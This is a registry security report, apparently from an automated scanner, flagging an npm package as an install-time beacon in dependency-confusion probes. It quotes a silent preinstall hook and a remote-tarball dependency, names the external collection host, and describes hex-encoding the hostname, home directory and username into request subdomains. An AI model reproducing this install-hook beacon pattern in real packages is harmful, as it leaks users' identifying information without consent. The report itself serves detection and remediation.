registry / Data exfiltration / @generic-means/ing-feat-scanner-libs
@generic-means/ing-feat-scanner-libs
This report shows the evidence for @generic-means/ing-feat-scanner-libs@99.9.1, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 4d ago · by lpm-firewall-aiThe remote dependency’s install hook triggers outbound requests that disclose encoded host and user identifiers to a fixed external recipient. This is a confirmed installation beacon and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing the package and its dependency with lifecycle scripts enabled.
Impact
The external recipient receives identifying machine and user information, along with the installer’s network request metadata.
Mechanism
The dependency’s preinstall runs `test.js`, which hex-encodes the hostname, home directory, and username and requests URLs containing those values as subdomains.
Attack narrative
During dependency installation, the dependency’s preinstall runs a script that encodes the machine hostname, home directory, and username into URL subdomains and sends requests to a fixed external host. This is automatic installation-time disclosure of identifying information.
AI rationale
The remote dependency’s install hook triggers outbound requests that disclose encoded host and user identifiers to a fixed external recipient. This is a confirmed installation beacon and warrants blocking publication.
Evidence
package.json.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/package.json.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/test.js.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/index.js
Network endpoints1
generic-means.fyhgaexodee990tazcbnmz7eh5n1brzg.oastify.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package manifest installs `ltidisafe` from a fixed remote tarball.
- The dependency’s `preinstall` automatically runs `test.js`.
- That script hex-encodes the machine hostname, home directory, and username.
- It sends requests using each value as a subdomain of a fixed external host.
- The dependency’s download check makes an HTTP GET request to the supplied URL.
Evidence against
Behavioral surface
Trivial
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
10"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.9.3.tgz"
},
"author": "",
"lice
High
Ai Review Evidence
The package manifest installs `ltidisafe` from a fixed remote tarball.
package.jsonView on unpkg · L10•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.9.3.tgz
Medium
Remote Tarball Dependency
Package manifest contains a dependency pinned to a remote tarball URL.
package.jsonView on unpkg.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/package.jsonView file
7"preinstall": "node test.js > /dev/null 2>&1",
"test": "echo \"Error: no test specified\" && exi
Findings
7 High1 Medium1 Low
HighAi Review Evidencepackage.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/package.json
HighAi Review Evidence.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/test.js
HighSuspicious Dependency Evidence.lpm-dependency-evidence-416a6c3a-d4c6-4961-aa65-d588326d9954/0/npm-linux/index.js
MediumRemote Tarball Dependencypackage.json
LowScripts Present
Affected versions and remediation
This report applies to @generic-means/ing-feat-scanner-libs@99.9.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @generic-means/ing-feat-scanner-libs@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.